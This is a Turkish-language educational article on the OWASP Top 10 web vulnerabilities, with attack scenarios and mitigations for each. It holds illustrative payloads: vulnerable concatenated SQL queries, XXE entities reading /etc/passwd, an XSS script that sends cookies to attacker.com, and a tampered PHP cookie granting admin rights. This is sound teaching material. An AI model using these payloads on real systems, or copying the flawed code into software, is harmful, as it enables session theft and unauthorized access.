Web Uygulamalarındaki Güvenlik Açıkları (OWASP Top 10) ve Çözümleri
Güvensiz yazılım, finans, sağlık hizmetleri, savunma, enerji ve diğer kritik altyapılarımızı zayıflatmaktadır. Yazılımlarımız giderek daha karmaşık ve bağlantılı hale geldikçe, uygulama güvenliğini sağlamanın zorluğu da katlanarak artmaktadır. Modern yazılımlar geliştirirken en yaygın web uygulamalardaki güvenlik zaafiyetlerini hızlı ve doğru bir şekilde keşfetmek ve çözmek gerekmektedir. Bugünkü yazımda ise yazılım güvenliğini geliştirmeye adanmış kar amacı gütmeyen bir kuruluş olan Açık Web Uygulama Güvenliği Projesi (OWASP) tarafından yayınlanan en yaygın 10 web uygulama güvenlik açığına değinip olası senaryolara karşı ne gibi önlemler alınabileceğinden bahsedeceğim.
OWASP Top 10 Nedir?
Uygulama güvenliği konusunda uzmanlaşmış firmalardan gelen 40'tan fazla veri sunumuna ve 500'den fazla kişi tarafından tamamlanan bir endüstri anketine dayalı web uygulamalarındaki güvenlik açıkları listesidir. OWASP Top 10 belirlenirken, yüzlerce kuruluştan toplanan güvenlik açıklarından ve 100.000'den fazla gerçek dünya uygulaması ve API’sinden faydalanılmıştır.
Saldırganlar, işletmenize veya kuruluşunuza zarar vermek için uygulamanızda birçok farklı yol kullanabilmektedir. Bu yolların her biri, dikkat çekecek kadar ciddi olabilecek veya olmayabilecek bir zaafiyeti temsil eder. Peki, web uygulamalarındaki güvenlik açıkları nelerdir? Lafı çok dolandırmadan OWASP Top 10’u vererek sonrasında her birini detaylı bir şekilde açıklayacağım.
OWAPS Top 10 — Web Uygulamalarında Güvenlik Zaafiyetleri
1) Injection
2) Broken Authentication
3) Sensitive Data Exposure
4) XML External Entities (XXE)
5) Broken Access Control
6) Security Misconfiguration
7) Cross-Site Scripting (XSS)
8) Insecure Deserialization
9) Using Components with Known Vulnerabilities
10) Insufficient Logging & Monitoring
1) Injection
SQL, NOSQL, OS ve LDAP injectionu gibi injection zaafiyetleri, güvenilmeyen veriler, bir komut veya sorgunun bir parçası olarak bir yorumlayıcıya gönderildiğinde ortaya çıkar. Saldırganın verileri, yorumlayıcıyı istenmeyen komutları yürütmesi veya uygun yetkilendirme olmadan verilere erişmesi için kandırabilir.
Injection güvenlik açıkları, özellikle eski kodlarda oldukça yaygındır. Genellikle SQL, LDAP, XPath veya NoSQL sorgularında, işletim sistemi komutlarında, XML ayrıştırıcılarda, SMTP başlıklarında, ifade dillerinde ve ORM sorgularında bulunur. Kodu incelerken injection açıklarını keşfetmek kolaydır.
Örnek Saldırı Senaryoları
Senaryo1 = Bir uygulama, aşağıdaki güvenlik açığı bulunan SQL çağrısının oluşturulmasında güvenilmeyen verileri kullanır.
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";Senaryo2 = Bir uygulamanın frameworkslere olan kör güveni(blind trust), hala savunmasız olan sorgulara neden olabilir. (Hibernate Query Language (HQL))
Query HQLQuery= session.createQuery("FROM accounts
WHERE custID='" + request.getParameter("id") + "'");Nasıl Önlerim?
Injectionu önlemek, verileri komutlardan ve sorgulardan ayrı tutmayı gerektirir. Yorumlayıcının kullanımını tamamen önleyen veya parametreli bir arayüz sağlayan güvenli bir API kullanılabilir veya Nesne İlişkisel Eşleme (ORM) araçlarından yararlanılabilir.
Pozitif veya “whitelist” sunucu tarafı giriş doğrulaması kullanılabilir. Kalan dinamik sorgular için, söz konusu yorumlayıcıya özgü escape syntax kullanarak özel karakterlerden kaçış yapılabilir. SQL injectionda kayıtların toplu olarak ifşa edilmesini önlemek için sorgularda LIMIT ve diğer SQL kontrolleri kullanılabilir.
2) Broken Authentication
Bazı uygulamalar genellikle yanlış bir şekilde uygulanır. Özellikle, kimlik doğrulama ve oturum yönetimiyle ilgili işlevler, yanlış uygulandığında, saldırganların parolaları, anahtar sözcükleri ve oturumları tehlikeye atmasına olanak tanır. Bu, kullanıcı kimliğinin çalınmasına ve daha fazlasına yol açabilir.
Oturum yönetimi, kimlik doğrulama ve erişim kontrollerinin temelidir ve tüm durum bilgisi olan uygulamalarda mevcuttur. Saldırganlar, bozuk kimlik doğrulamasını manuel yöntemler kullanarak tespit edebilir ve parola listeleri ve sözlük saldırıları içeren otomatik araçlar kullanarak bunları istismar edebilir.
Örnek Saldırı Senaryoları
Senaryo1 = Kimlik bilgilerini doldurma(credential stuffing), bilinen şifrelerin listelerinin kullanılması yaygın bir saldırıdır. Bir uygulama otomatik tehdit veya kimlik bilgilerini doldurma korumaları uygulamazsa, kimlik bilgilerinin geçerli olup olmadığını belirlemek için bir parola oracle olarak kullanılabilir.
Senaryo2 = Uygulama oturumu zaman aşımlarının düzgün ayarlanmadığını varsayalım. Bir kullanıcı, bir uygulamaya erişmek için halka açık bir bilgisayar kullanır. “Oturumu kapat”ı seçmek yerine kullanıcı, tarayıcı sekmesini kapatır ve uzaklaşır. Bir saldırgan bir saat sonra aynı tarayıcıyı kullanır ve kullanıcının oturumu hala doğrulanmış bir şekildedir.
Nasıl Önlerim?
Mümkün olduğunca, kimlik bilgisi doldurma, brute force ve çalıntı kimlik bilgilerinin yeniden kullanım saldırılarını önlemek için çok faktörlü kimlik doğrulaması uygulanabilir. Özellikle yönetici kullanıcılar için herhangi bir varsayılan kimlik bilgisi göndermeyin veya dağıtmayın. Yeni veya değiştirilmiş şifreleri, en kötü 10.000 şifre listesine karşı test etmek gibi zayıf şifre kontrolleri uygulanabilir.
Başarısız oturum açma girişimlerini sınırlandırılabilir veya giderek daha fazla geciktirilebilir. Tüm hataları kaydederek, kimlik bilgisi doldurma(credential stuffing), brute force veya diğer saldırılar algılandığında yöneticiler uyarılabilir.
3) Sensitive Data Exposure
Çoğu web uygulaması ve API, finans, sağlık hizmetleri ve PII(kişisel olarak tanımlabilir bilgiler) gibi hassas verileri gerektiği gibi koruyamaz. Saldırganlar, kredi kartı sahtekarlığı, kimlik hırsızlığı veya diğer suçları işlemek için bu tür zayıf korunan verileri çalabilir veya değiştirebilir. Hassas veriler, beklemede veya aktarım sırasında şifreleme gibi ekstra koruma olmadan tehlikeye girebilir ve tarayıcıyla değiştirilirken özel önlemler gerektirir.
Doğrudan kriptoya saldırmak yerine, saldırganlar anahtarları çalar, ortadaki adam saldırılarını(man in the middle attacks) yürütür veya geçiş sırasında sunucudan veya kullanıcının istemcisinden(user’s client), örneğin tarayıcıdan açık metin(clear text) verilerini çalar. Genellikle manuel saldırı gereklidir. Önceden alınmış şifre veritabanları Grafik İşleme Birimleri (GPU’lar) tarafından kaba kuvvet saldırıcı(brute forced attack) çalıştırılabilir.
Örnek Saldırı Senaryoları
Senaryo1 = Bir uygulama, otomatik veritabanı şifrelemesini kullanarak bir veritabanındaki kredi kartı numaralarını şifreler. Fakat, bu veriler alındığında otomatik olarak deşifre edilir ve SQL injection açığı kredi kartı numaralarını düz metin olarak almasına izin verir.
Senaryo2 = Parola veritabanı, herkesin parolalarını saklamak için unsalted veya basit karmalar(simple hashes) kullanır. Dosya yükleme zaafiyeti, bir saldırganın parola veritabanını almasına olanak tanır. Tüm unsalted hashler, önceden hesaplanmış hashlerin rainbow tablosu ile açığa çıkarılabilir. Basit veya hızlı hash fonksiyonları tarafından oluşturulan hashler, salted olsalar bile GPU’lar tarafından kırılabilir.
Nasıl Önlerim?
Bir uygulama tarafından işlenen, saklanan veya iletilen verileri sınıflandırılabilir. Sınıflandırmaya göre kontroller uygulanabilir. Özel yasalara, yasal gerekliliklere veya iş ihtiyaçlarına göre hangi verilerin hassas olduğunu belirlenebilir.
Beklemede olan tüm hassas verileri şifrelediğinizden emin olun. Güncel ve güçlü standart algoritmaların, protokollerin ve anahtarların yerinde olduğundan emin olun; uygun anahtar yönetimini(proper key management) kullanın.
4) XML External Entities (XXE)
Birçok eski veya kötü yapılandırılmış XML işlemci, XML belgelerindeki harici entity referanslarını değerlendirir. Harici entityler, dosya URI işleyicisini, dahili dosya paylaşımlarını, dahili port taramayı, uzaktan kod yürütmeyi ve hizmet reddi saldırılarını kullanarak dahili dosyaları ifşa etmek için kullanılabilir.
Saldırganlar, XML yükleyebilirlerse veya bir XML belgesine düşmanca içerik ekleyebilirlerse, savunmasız kodu, bağımlılıkları veya entegrasyonları istismar ederek savunmasız XML işlemcilerinden yararlanabilirler.
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>Senaryo1 = Saldırgan, yukarıdaki ENTITY satırını şu şekilde değiştirerek sunucunun özel ağını araştırabilir.
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>Senaryo2 = Saldırgan, potansiyel olarak sonsuz bir dosya ekleyerek bir hizmet reddi saldırısı(DoS) girişiminde bulunabilir.
<!ENTITY xxe SYSTEM "file:///dev/random" >]>Nasıl Önlerim?
Mümkün olduğunca, JSON gibi daha az karmaşık veri formatları kullanabilir ve hassas verilerin serileştirilmesinden kaçınabilirsiniz. Uygulama veya temel işletim sistemi tarafından kullanılan tüm XML işlemcilerini ve kütüphaneleri düzeltin veya yükseltin. Bağımlılık denetleyicileri kullanabilirsiniz. SOAP’ı SOAP 1.2 veya daha üstü bir sürüme güncelleyebilirsiniz.
XML veya XSL dosya yükleme işlevinin XSD doğrulaması veya benzeri bir yöntem kullanarak gelen XML’i doğruladığını doğrulayın. SAST araçları, kaynak kodda XXE’nin tespit edilmesine yardımcı olabilir, ancak manuel kod incelemesi, birçok entegrasyona sahip büyük, karmaşık uygulamalarda en iyi alternatiftir.
5) Broken Access Control
Kimliği doğrulanmış kullanıcıların ne yapmasına izin verildiğine ilişkin kısıtlamalar genellikle düzgün bir şekilde uygulanmaz. Saldırganlar, diğer kullanıcıların hesaplarına erişmek, hassas dosyaları görüntülemek, diğer kullanıcıların verilerini değiştirmek, erişim haklarını değiştirmek vb. gibi yetkisiz işlevlere ve verilere erişmek için bu açıkları kullanabilir. Otomatik algılamanın olmaması ve uygulama geliştiricileri tarafından etkili işlevsel testlerin yapılmaması nedeniyle erişim denetimi zayıflıkları yaygındır.
Örnek Saldırı Senaryoları
Senaryo1 = Uygulama, hesap bilgilerine erişen bir SQL çağrısında doğrulanmamış verileri kullanabilir.
pstmt.setString(1, request.getParameter("acct"));
ResultSetresults = pstmt.executeQuery( );Saldırgan, istediği hesap numarasını(account number) göndermek için tarayıcıdaki ‘acct’ parametresini değiştirebilir. Doğru şekilde doğrulanmazsa, saldırgan herhangi bir kullanıcının hesabına erişebilir.
http://example.com/app/accountInfo?acct=notmyacctSenaryo2 = Saldırgan, tarayıcıyı URL’leri hedeflemeye zorlar. Yönetici sayfasına erişim için yönetici hakları gereklidir.
http://example.com/app/getappInfo http://example.com/app/admin_getappInfoKimliği doğrulanmamış bir kullanıcı iki sayfadan birine erişebiliyorsa, bu bir güvenlik açığıdır. Yönetici olmayan biri, yönetici sayfasına erişebiliyorsa, bu bir güvenlik zaafiyetidir.
Nasıl Önlerim?
Erişim kontrol mekanizmalarını bir kez uygulayın ve CORS kullanımını en aza indirgemek de dahil olmak üzere uygulama boyunca yeniden kullanın. Model erişim kontrolleri, kullanıcının herhangi bir kaydı oluşturabileceğini, okuyabileceğini, güncelleyebileceğini veya silebileceğini kabul etmek yerine kayıt sahipliğini(record ownership) zorunlu kılmalıdır.
Web sunucusu dizin listesini devre dışı bırakın ve dosya metadata ve yedekleme dosyalarının(backup files) web köklerinde bulunmadığından emin olun. JWT belirteçleri(tokens), oturumu kapattıktan sonra sunucuda geçersiz kılınmalıdır.
6) Security Misconfiguration
Yanlış güvenlik yapılandırması en yaygın görülen sorundur. Bu genellikle güvenli olmayan varsayılan yapılandırmaların, eksik veya geçici yapılandırmaların, açık bulut depolamanın, yanlış yapılandırılmış HTTP headerının ve hassas bilgiler içeren ayrıntılı hata mesajlarının bir sonucudur.
Saldırganlar, sistem hakkında yetkisiz erişim veya bilgi edinmek için genellikle düzeltilmemiş kusurlardan yararlanmaya veya varsayılan hesaplara, kullanılmayan sayfalara, korumasız dosyalara ve dizinlere erişmeye çalışır.
Örnek Saldırı Senaryoları
Senaryo1 = Uygulama sunucusu(application server), üretim sunucusundan kaldırılmayan örnek uygulamalarla birlikte gelir. Bu örnek uygulamalar, saldırganların sunucunun güvenliğini aşmak için kullandıkları bilinen güvenlik açıklarına sahiptir. Bu uygulamalardan biri yönetici konsoluysa ve varsayılan hesaplar değiştirilmediyse, saldırgan varsayılan şifrelerle oturum açar ve yönetimi devralır.
Senaryo2 = Sunucuda dizin listesinin devre dışı bırakılmadığını varsayalım. Saldırgan, dizinleri kolayca listeler ve kodu görüntülemek için derledikleri ve tersine mühendislik yaptıkları derlenmiş Java sınıflarını bulur ve indirir. Saldırgan daha sonra uygulamada ciddi bir erişim kontrolü hatası bulur.
Nasıl Önlerim?
Tüm işletim sistemleri, frameworksler, kütüphaneler ve uygulamalar yalnızca güvenli bir şekilde yapılandırılmamalı, aynı zamanda zamanında düzeltilmeli ve yükseltilmelidir. Kullanılmayan özellikler(features) ve frameworksler kaldırılmalı veya yüklenmemelidir.
Geliştirme, kalite kontrol(QA) ve üretim ortamlarının(production environments) tümü, her ortamda kullanılan farklı kimlik bilgileriyle aynı şekilde yapılandırılmalıdır. Segmentasyon, kapsayıcılaştırma(containerization) veya bulut güvenlik grupları ile bileşenler veya kiracılar(tenants) arasında etkili ve güvenli bir ayrım sağlayan bölümlenmiş bir uygulama mimarisi oluşturulabilir.
7) Cross-Site Scripting (XSS)
XSS açıkları, bir uygulama, yeni bir web sayfasında uygun doğrulama veya çıkış olmadan, güvenilir olmayan veriler içerdiğinde veya HTML veya JavaScript oluşturabilen bir tarayıcı API’sini kullanarak kullanıcı tarafından sağlanan verilerle mevcut bir web sayfasını güncellediğinde ortaya çıkar.
XSS, saldırganların, kurbanın tarayıcısında kullanıcı oturumlarını ele geçirebilecek, web sitelerini bozabilecek veya kullanıcıyı kötü amaçlı sitelere yönlendirebilecek komut dosyaları yürütmesine izin verir. XSS, OWASP Top 10'daki en yaygın ikinci web uygulama güvenliği açığıdır ve tüm uygulamaların yaklaşık üçte ikisinde bulunur.
Örnek Saldırı Senaryosu
Uygulama, aşağıdaki HTML pasajının(snippet) oluşturulmasında, doğrulama veya kaçış olmadan güvenilmeyen verileri kullanır.
(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";Saldırgan, tarayıcıdaki “CC” parametresini şu şekilde değiştirebilir.
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'Bu saldırı, kurbanın oturum kimliğinin, saldırganın web sitesine gönderilmesine neden olur ve saldırganın kullanıcının geçerli oturumunu ele geçirmesine izin verir.
Nasıl Önlerim?
Ruby on Rails, React JS gibi tasarım gereği XSS’den otomatik olarak kaçan frameworksler kullanılabilir. HTML çıktısındaki içeriğe dayalı güvenilmeyen HTTP istek verilerinden kaçmak, yansıyan(Reflected) ve depolanan XSS güvenlik açıklarını çözecektir. İstemci(client) tarafındaki tarayıcı belgesini değiştirirken içeriğe duyarlı kodlamanın(context sensitive encoding) uygulanması DOM XSS’ye karşı etkilidir.
8) Insecure Deserialization
Güvenli olmayan seriyi kaldırma(deserialization), genellikle uzaktan kod yürütülmesine yol açar. Deserialization zaafiyetleri uzaktan kod yürütülmesine neden olmasa bile, bunlar replay saldırıları, injection saldırıları ve ayrıcalık yükseltme saldırıları dahil olmak üzere saldırıları gerçekleştirmek için kullanılabilir.
Örnek Saldırı Senaryoları
Senaryo1 = Bir React uygulaması, bir dizi Spring Boot mikro hizmetini çağırır. Fonksiyonel programcılar, kodlarının değişmez olmasını sağlamaya çalışırlar. Bulunan çözüm, kullanıcı durumunu serileştirmek ve her istekte ileri geri iletmektir. Saldırgan, “R00” Java nesnesi imzasını fark eder ve uygulama sunucusunda uzaktan kod yürütme sağlamak için Java Serial Killer aracını kullanır.
Senaryo2 = Bir PHP forumu, kullanıcının kullanıcı kimliğini, rolünü, şifre karmasını(password hash) ve diğer durumunu içeren bir “super” çerezi(cookie) kaydetmek için PHP nesne serileştirmesini kullanır.
a:4:{i:0;i:132;i:1;s:7:"Aynur";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}Saldırgan, kendilerine yönetici ayrıcalıkları vermek için serileştirilmiş nesneyi değiştirir.
a:4:{i:0;i:1;i:1;s:5:"Huseyin";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}Nasıl Önlerim?
Verilerin kurcalanmasını önlemek için herhangi bir serileştirilmiş nesnede, dijital imzalar gibi bütünlük kontrolleri uygulanabilir. Mümkün olduğunca düşük ayrıcalıklı ortamlarında(low privilege environments) seriyi kaldıran(deserializes) kod izole edilerek çalıştırılabilir. Deserialize kapsayıcılardan(containers) veya sunuculardan gelen ve giden ağ bağlantısı kısıtlanabilir veya izlenebilir.
9) Using Components with Known Vulnerabilities
Kütüphaneler, frameworksler ve diğer yazılım modülleri gibi bileşenler, uygulama ile aynı ayrıcalıklarla çalışır. Savunmasız bir bileşenden yararlanılırsa, bu tür bir saldırı, ciddi veri kaybını veya sunucunun ele geçirilmesini kolaylaştırabilir. Güvenlik açıkları olduğu bilinen bileşenleri kullanan uygulamalar ve API’ler, uygulama savunmalarını zayıflatabilir ve çeşitli saldırılara ve etkilere olanak sağlayabilir.
Örnek Saldırı Senaryosu
Bileşenler(components) genellikle uygulamanın kendisiyle aynı ayrıcalıklarla çalışır, bu nedenle herhangi bir bileşendeki zaafiyet ciddi etkilere neden olabilir. Bu tür zaafiyetler kazara (ör. kodlama hatası) veya kasıtlı (ör. bileşende backdoor) olabilir.
Nasıl Önlerim?
Kullanılmayan bağımlılıklar, gereksiz özellikler, bileşenler, dosyalar ve belgeler kaldırılabilir. DependencyCheck retire.js, gibi araçları kullanarak hem istemci tarafı hem de sunucu tarafı bileşenlerinin(frameworksler ve kütüphaneler) sürümleri ve bunların bağımlılıkları sürekli olarak stoklanabilir.
Bileşenlerdeki güvenlik açıkları için CVE ve NVD gibi kaynaklar sürekli olarak izlenebilir. Süreci otomatikleştirmek için yazılım bileşimi analiz araçlarını kullanılabilir. Değiştirilmiş, kötü amaçlı bir bileşenin dahil edilme olasılığını azaltmak için imzalı paketler tercih edilebilir.
10) Insufficient Logging & Monitoring
Yetersiz günlük kaydı(insufficient logging) ve izleme(monitoring), olay yanıtı(incident response) ile eksik veya etkisiz entegrasyon ile birleştiğinde, saldırganların sistemlere daha fazla saldırmasına, kalıcılığı sürdürmesine, daha fazla sisteme dönmesine ve verileri kurcalamasına, çıkarmasına veya yok etmesine izin verir. Çoğu ihlal araştırması, bir ihlali tespit etme süresinin 200 günden fazla olduğunu ve genellikle dahili süreçler veya izleme yerine harici taraflarca tespit edildiğini göstermektedir.
Örnek Saldırı Senaryoları
Senaryo1 = Küçük bir ekip tarafından çalıştırılan açık kaynaklı bir forum yazılım projesi, yazılımındaki bir açık kullanılarak saldırıya uğramış olsun. Saldırganlar bunun sonucunda, bir sonraki sürümü içeren dahili kaynak kodu deposunu ve tüm forum içeriğini silebilirler. Bununla beraber kaynak kurtarılabilmesine rağmen, izleme, kayıt tutma veya uyarı eksikliği çok daha kötü bir ihlale yol açar. Sonuç olarak forum yazılımı projesi artık aktif değildir.
Senaryo2 = Saldırgan, ortak bir parola kullanarak kullanıcıları tarar. Bu şifreyi kullanarak tüm hesapları ele geçirebilir. Diğer tüm kullanıcılar için, bu tarama geride yalnızca bir yanlış oturum bırakır. Birkaç gün sonra, bu işlem farklı bir şifre ile tekrarlanabilir.
Nasıl Önlerim?
Tüm oturum açma, erişim denetimi hataları ve sunucu tarafı giriş doğrulama hatalarının(server side input validation failures), şüpheli veya kötü niyetli hesapları tanımlamak için yeterli kullanıcı bağlamıyla günlüğe kaydedilebildiğinden ve gecikmeli adli analize(delayed forensic analysis) izin vermek için yeterli süre tutulduğundan emin olun.
Günlüklerin(logların), merkezi bir günlük yönetimi çözümleri tarafından kolayca tüketilebilecek bir biçimde oluşturulduğundan emin olun. Şüpheli faaliyetlerin tespit edilmesi ve zamanında yanıtlanması için etkili izleme ve uyarılar oluşturun.
